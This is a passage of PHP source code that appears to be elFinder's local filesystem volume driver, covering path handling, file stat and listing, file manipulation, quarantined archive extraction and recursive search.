pooling sync checker * This function require server command `inotifywait` * If `inotifywait` need full path, Please add `define('ELFINER_INOTIFYWAIT_PATH', '/PATH_TO/inotifywait');` into connector.php * * @param string $path * @param int $standby * @param number $compare * * @return number|bool * @throws elFinderAbortException */ public function localFileSystemInotify($path, $standby, $compare) { if (isset($this->sessionCache['localFileSystemInotify_disable'])) { return false; } $path = realpath($path); $mtime = filemtime($path); if (!$mtime) { return false; } if ($mtime != $compare) { return $mtime; } $inotifywait = defined('ELFINER_INOTIFYWAIT_PATH') ? ELFINER_INOTIFYWAIT_PATH : 'inotifywait'; $standby = max(1, intval($standby)); $cmd = $inotifywait . ' ' . escapeshellarg($path) . ' -t ' . $standby . ' -e moved_to,moved_from,move,close_write,delete,delete_self'; $this->procExec($cmd, $o, $r); if ($r === 0) { // changed clearstatcache(); if (file_exists($path)) { $mtime = filemtime($path); // error on busy? return $mtime ? $mtime : time(); } else { // target was removed return 0; } } else if ($r === 2) { // not changed (timeout) return $compare; } // error // cache to $_SESSION $this->sessionCache['localFileSystemInotify_disable'] = true; $this->session->set($this->id, $this->sessionCache); return false; } /*********************************************************************/ /* FS API */ /*********************************************************************/ /*********************** paths/urls *************************/ /** * Return parent directory path * * @param string $path file path * * @return string * @author Dmitry (dio) Levashov **/ protected function _dirname($path) { return dirname($path); } /** * Return file name * * @param string $path file path * * @return string * @author Dmitry (dio) Levashov **/ protected function _basename($path) { return basename($path); } /** * Join dir name and file name and retur full path * * @param string $dir * @param string $name * * @return string * @author Dmitry (dio) Levashov **/ protected function _joinPath($dir, $name) { return rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $name; } /** * Return normalized path, this works the same as os.path.normpath() in Python * * @param string $path path * * @return string * @author Troex Nevelin **/ protected function _normpath($path) { if (empty($path)) { return '.'; } $changeSep = (DIRECTORY_SEPARATOR !== '/'); if ($changeSep) { $drive = ''; if (preg_match('/^([a-zA-Z]:)(.*)/', $path, $m)) { $drive = $m[1]; $path = $m[2] ? $m[2] : '/'; } $path = str_replace(DIRECTORY_SEPARATOR, '/', $path); } if (strpos($path, '/') === 0) { $initial_slashes = true; } else { $initial_slashes = false; } if (($initial_slashes) && (strpos($path, '//') === 0) && (strpos($path, '///') === false)) { $initial_slashes = 2; } $initial_slashes = (int)$initial_slashes; $comps = explode('/', $path); $new_comps = array(); foreach ($comps as $comp) { if (in_array($comp, array('', '.'))) { continue; } if (($comp != '..') || (!$initial_slashes && !$new_comps) || ($new_comps && (end($new_comps) == '..'))) { array_push($new_comps, $comp); } elseif ($new_comps) { array_pop($new_comps); } } $comps = $new_comps; $path = implode('/', $comps); if ($initial_slashes) { $path = str_repeat('/', $initial_slashes) . $path; } if ($changeSep) { $path = $drive . str_replace('/', DIRECTORY_SEPARATOR, $path); } return $path ? $path : '.'; } /** * Return file path related to root dir * * @param string $path file path * * @return string * @author Dmitry (dio) Levashov **/ protected function _relpath($path) { if ($path === $this->root) { return ''; } else { if (strpos($path, $this->root) === 0) { return ltrim(substr($path, strlen($this->root)), DIRECTORY_SEPARATOR); } else { // for link return $path; } } } /** * Convert path related to root dir into real path * * @param string $path file path * * @return string * @author Dmitry (dio) Levashov **/ protected function _abspath($path) { if ($path === DIRECTORY_SEPARATOR) { return $this->root; } else { if (strpos($path, $this->systemRoot) === 0) { return $path; } else if (DIRECTORY_SEPARATOR !== '/' && preg_match('/^[a-zA-Z]:' . preg_quote(DIRECTORY_SEPARATOR, '/') . '/', $path)) { return $path; } else { return $this->_joinPath($this->root, $path); } } } /** * Return fake path started from root dir * * @param string $path file path * * @return string * @author Dmitry (dio) Levashov **/ protected function _path($path) { return $this->rootName . ($path == $this->root ? '' : $this->separator . $this->_relpath($path)); } /** * Return true if $path is children of $parent * * @param string $path path to check * @param string $parent parent path * * @return bool * @author Dmitry (dio) Levashov **/ protected function _inpath($path, $parent) { $cwd = getcwd(); $real_path = $this->getFullPath($path, $cwd); $real_parent = $this->getFullPath($parent, $cwd); if ($real_path && $real_parent) { return $real_path === $real_parent || strpos($real_path, rtrim($real_parent, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR) === 0; } return false; } /***************** file stat ********************/ /** * Return stat for given path. * Stat contains following fields: * - (int) size file size in b. required * - (int) ts file modification time in unix time. required * - (string) mime mimetype. required for folders, others - optionally * - (bool) read read permissions. required * - (bool) write write permissions. required * - (bool) locked is object locked. optionally * - (bool) hidden is object hidden. optionally * - (string) alias for symlinks - link target path relative to root path. optionally * - (string) target for symlinks - link target path. optionally * If file does not exists - returns empty array or false. * * @param string $path file path * * @return array|false * @author Dmitry (dio) Levashov **/ protected function _stat($path) { $stat = array(); if (!file_exists($path) && !is_link($path)) { return $stat; } //Verifies the given path is the root or is inside the root. Prevents directory traveral. if (!$this->_inpath($path, $this->root)) { return $stat; } $stat['isowner'] = false; $linkreadable = false; if ($path != $this->root && is_link($path)) { if (!$this->options['followSymLinks']) { return array(); } if (!($target = $this->readlink($path)) || $target == $path) { if (is_null($target)) { $stat = array(); return $stat; } else { $stat['mime'] = 'symlink-broken'; $target = readlink($path); $lstat = lstat($path); $ostat = $this->getOwnerStat($lstat['uid'], $lstat['gid']); $linkreadable = !empty($ostat['isowner']); } } $stat['alias'] = $this->_path($target); $stat['target'] = $target; } $readable = is_readable($path); if ($readable) { $size = sprintf('%u', filesize($path)); $stat['ts'] = filemtime($path); if ($this->statOwner) { $fstat = stat($path); $uid = $fstat['uid']; $gid = $fstat['gid']; $stat['perm'] = substr((string)decoct($fstat['mode']), -4); $stat = array_merge($stat, $this->getOwnerStat($uid, $gid)); } } if (($dir = is_dir($path)) && $this->options['detectDirIcon']) { $favicon = $path . DIRECTORY_SEPARATOR . $this->options['detectDirIcon']; if ($this->URL && file_exists($favicon)) { $stat['icon'] = $this->URL . str_replace(DIRECTORY_SEPARATOR, '/', substr($favicon, strlen($this->root) + 1)); } } if (!isset($stat['mime'])) { $stat['mime'] = $dir ? 'directory' : $this->mimetype($path); } //logical rights first $stat['read'] = ($linkreadable || $readable) ? null : false; $stat['write'] = is_writable($path) ? null : false; if (is_null($stat['read'])) { if ($dir) { $stat['size'] = 0; } else if (isset($size)) { $stat['size'] = $size; } } if ($this->options['statCorrector']) { call_user_func_array($this->options['statCorrector'], array(&$stat, $path, $this->statOwner, $this)); } return $stat; } /** * Get stat `owner`, `group` and `isowner` by `uid` and `gid` * Sub-fuction of _stat() and _scandir() * * @param integer $uid * @param integer $gid * * @return array stat */ protected function getOwnerStat($uid, $gid) { static $names = null; static $phpuid = null; if (is_null($names)) { $names = array('uid' => array(), 'gid' => array()); } if (is_null($phpuid)) { if (is_callable('posix_getuid')) { $phpuid = posix_getuid(); } else { $phpuid = 0; } } $stat = array(); if ($uid) { $stat['isowner'] = ($phpuid == $uid); if (isset($names['uid'][$uid])) { $stat['owner'] = $names['uid'][$uid]; } else if (is_callable('posix_getpwuid')) { $pwuid = posix_getpwuid($uid); $stat['owner'] = $names['uid'][$uid] = $pwuid['name']; } else { $stat['owner'] = $names['uid'][$uid] = $uid; } } if ($gid) { if (isset($names['gid'][$gid])) { $stat['group'] = $names['gid'][$gid]; } else if (is_callable('posix_getgrgid')) { $grgid = posix_getgrgid($gid); $stat['group'] = $names['gid'][$gid] = $grgid['name']; } else { $stat['group'] = $names['gid'][$gid] = $gid; } } return $stat; } /** * Return true if path is dir and has at least one childs directory * * @param string $path dir path * * @return bool * @author Dmitry (dio) Levashov **/ protected function _subdirs($path) { $dirs = false; if (is_dir($path) && is_readable($path)) { if (class_exists('FilesystemIterator', false)) { $dirItr = new ParentIterator( new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS | FilesystemIterator::CURRENT_AS_SELF | (defined('RecursiveDirectoryIterator::FOLLOW_SYMLINKS') ? RecursiveDirectoryIterator::FOLLOW_SYMLINKS : 0) ) ); $dirItr->rewind(); if ($dirItr->hasChildren()) { $dirs = true; $name = $dirItr->getSubPathName(); while ($dirItr->valid()) { if (!$this->attr($path . DIRECTORY_SEPARATOR . $name, 'read', null, true)) { $dirs = false; $dirItr->next(); $name = $dirItr->getSubPathName(); continue; } $dirs = true; break; } } } else { $path = strtr($path, array('[' => '\\[', ']' => '\\]', '*' => '\\*', '?' => '\\?')); return (bool)glob(rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '*', GLOB_ONLYDIR); } } return $dirs; } /** * Return object width and height * Usualy used for images, but can be realize for video etc... * * @param string $path file path * @param string $mime file mime type * * @return string * @author Dmitry (dio) Levashov **/ protected function _dimensions($path, $mime) { clearstatcache(); return strpos($mime, 'image') === 0 && is_readable($path) && filesize($path) && ($s = getimagesize($path)) !== false ? $s[0] . 'x' . $s[1] : false; } /******************** file/dir content *********************/ /** * Return symlink target file * * @param string $path link path * * @return string * @author Dmitry (dio) Levashov **/ protected function readlink($path) { if (!($target = readlink($path))) { return null; } if (strpos($target, $this->systemRoot) !== 0) { $target = $this->_joinPath(dirname($path), $target); } if (!file_exists($target)) { return false; } return $target; } /** * Return files list in directory. * * @param string $path dir path * * @return array * @throws elFinderAbortException * @author Dmitry (dio) Levashov */ protected function _scandir($path) { elFinder::checkAborted(); $files = array(); $cache = array(); $dirWritable = is_writable($path); $dirItr = array(); $followSymLinks = $this->options['followSymLinks']; try { $dirItr = new DirectoryIterator($path); } catch (UnexpectedValueException $e) { } foreach ($dirItr as $file) { try { if ($file->isDot()) { continue; } $files[] = $fpath = $file->getPathname(); $br = false; $stat = array(); $stat['isowner'] = false; $linkreadable = false; if ($file->isLink()) { if (!$followSymLinks) { continue; } if (!($target = $this->readlink($fpath)) || $target == $fpath) { if (is_null($target)) { $stat = array(); $br = true; } else { $_path = $fpath; $stat['mime'] = 'symlink-broken'; $target = readlink($_path); $lstat = lstat($_path); $ostat = $this->getOwnerStat($lstat['uid'], $lstat['gid']); $linkreadable = !empty($ostat['isowner']); $dir = false; $stat['alias'] = $this->_path($target); $stat['target'] = $target; } } else { $dir = is_dir($target); $stat['alias'] = $this->_path($target); $stat['target'] = $target; $stat['mime'] = $dir ? 'directory' : $this->mimetype($stat['alias']); } } else { if (($dir = $file->isDir()) && $this->options['detectDirIcon']) { $path = $file->getPathname(); $favicon = $path . DIRECTORY_SEPARATOR . $this->options['detectDirIcon']; if ($this->URL && file_exists($favicon)) { $stat['icon'] = $this->URL . str_replace(DIRECTORY_SEPARATOR, '/', substr($favicon, strlen($this->root) + 1)); } } $stat['mime'] = $dir ? 'directory' : $this->mimetype($fpath); } $size = sprintf('%u', $file->getSize()); $stat['ts'] = $file->getMTime(); if (!$br) { if ($this->statOwner && !$linkreadable) { $uid = $file->getOwner(); $gid = $file->getGroup(); $stat['perm'] = substr((string)decoct($file->getPerms()), -4); $stat = array_merge($stat, $this->getOwnerStat($uid, $gid)); } //logical rights first $stat['read'] = ($linkreadable || $file->isReadable()) ? null : false; $stat['write'] = $file->isWritable() ? null : false; $stat['locked'] = $dirWritable ? null : true; if (is_null($stat['read'])) { $stat['size'] = $dir ? 0 : $size; } if ($this->options['statCorrector']) { call_user_func_array($this->options['statCorrector'], array(&$stat, $fpath, $this->statOwner, $this)); } } $cache[] = array($fpath, $stat); } catch (RuntimeException $e) { continue; } } if ($cache) { $cache = $this->convEncOut($cache, false); foreach ($cache as $d) { $this->updateCache($d[0], $d[1]); } } return $files; } /** * Open file and return file pointer * * @param string $path file path * @param string $mode * * @return false|resource * @internal param bool $write open file for writing * @author Dmitry (dio) Levashov */ protected function _fopen($path, $mode = 'rb') { return fopen($path, $mode); } /** * Close opened file * * @param resource $fp file pointer * @param string $path * * @return bool * @author Dmitry (dio) Levashov */ protected function _fclose($fp, $path = '') { return (is_resource($fp) && fclose($fp)); } /******************** file/dir manipulations *************************/ /** * Create dir and return created dir path or false on failed * * @param string $path parent dir path * @param string $name new directory name * * @return string|bool * @author Dmitry (dio) Levashov **/ protected function _mkdir($path, $name) { $path = $this->_joinPath($path, $name); if (mkdir($path)) { chmod($path, $this->options['dirMode']); return $path; } return false; } /** * Create file and return it's path or false on failed * * @param string $path parent dir path * @param string $name new file name * * @return string|bool * @author Dmitry (dio) Levashov **/ protected function _mkfile($path, $name) { $path = $this->_joinPath($path, $name); if (($fp = fopen($path, 'w'))) { fclose($fp); chmod($path, $this->options['fileMode']); return $path; } return false; } /** * Create symlink * * @param string $source file to link to * @param string $targetDir folder to create link in * @param string $name symlink name * * @return bool * @author Dmitry (dio) Levashov **/ protected function _symlink($source, $targetDir, $name) { return symlink($source, $this->_joinPath($targetDir, $name)); } /** * Copy file into another file * * @param string $source source file path * @param string $targetDir target directory path * @param string $name new file name * * @return bool * @author Dmitry (dio) Levashov **/ protected function _copy($source, $targetDir, $name) { $mtime = filemtime($source); $target = $this->_joinPath($targetDir, $name); if ($ret = copy($source, $target)) { isset($this->options['keepTimestamp']['copy']) && $mtime && touch($target, $mtime); } return $ret; } /** * Move file into another parent dir. * Return new file path or false. * * @param string $source source file path * @param $targetDir * @param string $name file name * * @return bool|string * @internal param string $target target dir path * @author Dmitry (dio) Levashov */ protected function _move($source, $targetDir, $name) { $mtime = filemtime($source); $target = $this->_joinPath($targetDir, $name); if ($ret = rename($source, $target) ? $target : false) { isset($this->options['keepTimestamp']['move']) && $mtime && touch($target, $mtime); } return $ret; } /** * Remove file * * @param string $path file path * * @return bool * @author Dmitry (dio) Levashov **/ protected function _unlink($path) { return is_file($path) && unlink($path); } /** * Remove dir * * @param string $path dir path * * @return bool * @author Dmitry (dio) Levashov **/ protected function _rmdir($path) { return rmdir($path); } /** * Create new file and write into it from file pointer. * Return new file path or false on error. * * @param resource $fp file pointer * @param string $dir target dir path * @param string $name file name * @param array $stat file stat (required by some virtual fs) * * @return bool|string * @author Dmitry (dio) Levashov **/ protected function _save($fp, $dir, $name, $stat) { $path = $this->_joinPath($dir, $name); $meta = stream_get_meta_data($fp); $uri = isset($meta['uri']) ? $meta['uri'] : ''; if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) { fclose($fp); $mtime = filemtime($uri); $isCmdPaste = ($this->ARGS['cmd'] === 'paste'); $isCmdCopy = ($isCmdPaste && empty($this->ARGS['cut'])); if (($isCmdCopy || !rename($uri, $path)) && !copy($uri, $path)) { return false; } // keep timestamp on upload if ($mtime && $this->ARGS['cmd'] === 'upload') { touch($path, isset($this->options['keepTimestamp']['upload']) ? $mtime : time()); } } else { if (file_put_contents($path, $fp, LOCK_EX) === false) { return false; } } chmod($path, $this->options['fileMode']); return $path; } /** * Get file contents * * @param string $path file path * * @return string|false * @author Dmitry (dio) Levashov **/ protected function _getContents($path) { return file_get_contents($path); } /** * Write a string to a file * * @param string $path file path * @param string $content new file content * * @return bool * @author Dmitry (dio) Levashov **/ protected function _filePutContents($path, $content) { return (file_put_contents($path, $content, LOCK_EX) !== false); } /** * Detect available archivers * * @return void * @throws elFinderAbortException */ protected function _checkArchivers() { $this->archivers = $this->getArchivers(); return; } /** * chmod availability * * @param string $path * @param string $mode * * @return bool */ protected function _chmod($path, $mode) { $modeOct = is_string($mode) ? octdec($mode) : octdec(sprintf("%04o", $mode)); return chmod($path, $modeOct); } /** * Recursive symlinks search * * @param string $path file/dir path * * @return bool * @throws Exception * @author Dmitry (dio) Levashov */ protected function _findSymlinks($path) { return self::localFindSymlinks($path); } /** * Extract files from archive * * @param string $path archive path * @param array $arc archiver command and arguments (same as in $this->archivers) * * @return array|string|boolean * @throws elFinderAbortException * @author Dmitry (dio) Levashov, * @author Alexey Sukhotin */ protected function _extract($path, $arc) { if ($this->quarantine) { $dir = $this->quarantine . DIRECTORY_SEPARATOR . md5(basename($path) . mt_rand()); $archive = (isset($arc['toSpec']) || $arc['cmd'] === 'phpfunction') ? '' : $dir . DIRECTORY_SEPARATOR . basename($path); if (!mkdir($dir)) { return false; } // insurance unexpected shutdown register_shutdown_function(array($this, 'rmdirRecursive'), realpath($dir)); chmod($dir, 0777); // copy in quarantine if (!is_readable($path) || ($archive && !copy($path, $archive))) { return false; } // extract in quarantine try { $this->unpackArchive($path, $arc, $archive ? true : $dir); } catch(Exception $e) { return $this->setError($e->getMessage()); } // get files list try { $ls = self::localScandir($dir); } catch (Exception $e) { return false; } // no files - extract error ? if (empty($ls)) { return false; } $this->archiveSize = 0; // find symlinks and check extracted items $checkRes = $this->checkExtractItems($dir); if ($checkRes['symlinks']) { self::localRmdirRecursive($dir); return $this->setError(array_merge($this->error, array(elFinder::ERROR_ARC_SYMLINKS))); } $this->archiveSize = $checkRes['totalSize']; if ($checkRes['rmNames']) { foreach ($checkRes['rmNames'] as $name) { $this->addError(elFinder::ERROR_SAVE, $name); } } // check max files size if ($this->options['maxArcFilesSize'] > 0 && $this->options['maxArcFilesSize'] < $this->archiveSize) { $this->delTree($dir); return $this->setError(elFinder::ERROR_ARC_MAXSIZE); } $extractTo = $this->extractToNewdir; // 'auto', ture or false // archive contains one item - extract in archive dir $name = ''; $src = $dir . DIRECTORY_SEPARATOR . $ls[0]; if (($extractTo === 'auto' || !$extractTo) && count($ls) === 1 && is_file($src)) { $name = $ls[0]; } else if ($extractTo === 'auto' || $extractTo) { // for several files - create new directory // create unique name for directory $src = $dir; $splits = elFinder::splitFileExtention(basename($path)); $name = $splits[0]; $test = dirname($path) . DIRECTORY_SEPARATOR . $name; if (file_exists($test) || is_link($test)) { $name = $this->uniqueName(dirname($path), $name, '-', false); } } if ($name !== '') { $result = dirname($path) . DIRECTORY_SEPARATOR . $name; if (!rename($src, $result)) { $this->delTree($dir); return false; } } else { $dstDir = dirname($path); $result = array(); foreach ($ls as $name) { $target = $dstDir . DIRECTORY_SEPARATOR . $name; if (self::localMoveRecursive($dir . DIRECTORY_SEPARATOR . $name, $target, true, $this->options['copyJoin'])) { $result[] = $target; } } if (!$result) { $this->delTree($dir); return false; } } is_dir($dir) && $this->delTree($dir); return (is_array($result) || file_exists($result)) ? $result : false; } //TODO: Add return statement here return false; } /** * Create archive and return its path * * @param string $dir target dir * @param array $files files names list * @param string $name archive name * @param array $arc archiver options * * @return string|bool * @throws elFinderAbortException * @author Dmitry (dio) Levashov, * @author Alexey Sukhotin */ protected function _archive($dir, $files, $name, $arc) { return $this->makeArchive($dir, $files, $name, $arc); } /******************** Over write functions *************************/ /** * File path of local server side work file path * * @param string $path * * @return string * @author Naoki Sawada */ protected function getWorkFile($path) { return $path; } /** * Delete dirctory trees * * @param string $localpath path need convert encoding to server encoding * * @return boolean * @throws elFinderAbortException * @author Naoki Sawada */ protected function delTree($localpath) { return $this->rmdirRecursive($localpath); } /** * Return fileinfo based on filename * For item ID based path file system * Please override if needed on each drivers * * @param string $path file cache * * @return array|boolean false */ protected function isNameExists($path) { $exists = file_exists($this->convEncIn($path)); // restore locale $this->convEncOut(); return $exists ? $this->stat($path) : false; } /******************** Over write (Optimized) functions *************************/ /** * Recursive files search * * @param string $path dir path * @param string $q search string * @param array $mimes * * @return array * @throws elFinderAbortException * @author Dmitry (dio) Levashov * @author Naoki Sawada */ protected function doSearch($path, $q, $mimes) { if (!empty($this->doSearchCurrentQuery['matchMethod']) || $this->encoding || !class_exists('FilesystemIterator', false)) { // has custom match method or non UTF-8, use elFinderVolumeDriver::doSearch() return parent::doSearch($path, $q, $mimes); } $result = array(); $timeout = $this->options['searchTimeout'] ? $this->searchStart + $this->options['searchTimeout'] : 0; if ($timeout && $timeout < time()) { $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->path($this->encode($path))); return $result; } elFinder::extendTimeLimit($this->options['searchTimeout'] + 30); $match = array(); try { $iterator = new RecursiveIteratorIterator( new RecursiveCallbackFilterIterator( new RecursiveDirectoryIterator($path, FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::SKIP_DOTS | ((defined('RecursiveDirectoryIterator::FOLLOW_SYMLINKS') && $this->options['followSymLinks']) ? RecursiveDirectoryIterator::FOLLOW_SYMLINKS : 0) ), array($this, 'localFileSystemSearchIteratorFilter') ), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD ); foreach ($iterator as $key => $node) { if ($timeout && ($this->error || $timeout < time())) { !$this->error && $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->path($this->encode($node->getPath))); break; } if ($node->isDir()) { if ($this->stripos($node->getFilename(), $q) !== false) { $match[] = $key; } } else { $match[] = $key; } } } catch (Exception $e) { } if ($match) { foreach ($match as $p) { if ($timeout && ($this->error || $timeout < time())) { !$this->error && $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->path($this->encode(dirname($p)))); break; } $stat = $this->stat($p); if (!$stat) { // invalid links continue; } if (!empty($stat['hidden']) || !$this->mimeAccepted($stat['mime'], $mimes)) { continue; } if ((!$mimes || $stat['mime'] !== 'directory')) { $stat['path'] = $this->path($stat['hash']); if ($this->URL && !isset($stat['url'])) { $_path = str_replace(DIRECTORY_SEPARATOR, '/', substr($p, strlen($this->root) + 1)); $stat['url'] = $this->URL . str_replace('%2F', '/', rawurlencode($_path)); } $result[] = $stat; } } } return $result; } /******************** Original local functions ************************ * * @param $file * @param $key * @param $iterator * * @return bool */ public function localFileSystemSearchIteratorFilter($file, $key, $iterator) { /* @var FilesystemIterator $file */ /* @var RecursiveDirectoryIterator $iterator */ $name = $file->getFilename(); if ($this->doSearchCurrentQuery['excludes']) { foreach ($this->doSearchCurrentQuery['excludes'] as $exclude) { if ($this->stripos($name, $exclude) !== false) { return false; } } } if ($iterator->hasChildren()) { if ($this->options['searchExDirReg'] && preg_match($this->options['searchExDirReg'], $key)) { return false; } return (bool)$this->attr($key, 'read', null, true); } return ($this->stripos($name, $this->doSearchCurrentQuery['q']) === false) ? false : true; } /** * Creates a symbolic link * * @param string $target The target * @param string $link The link * * @return boolean ( result of symlink() ) */ protected function localFileSystemSymlink($target, $link) { $res = false; $errlev = error_reporting(); error_reporting($errlev ^ E_WARNING); if ($res = symlink(realpath($target), $link)) { $res = is_readable($link); } error_reporting($errlev); return $res; } } // END class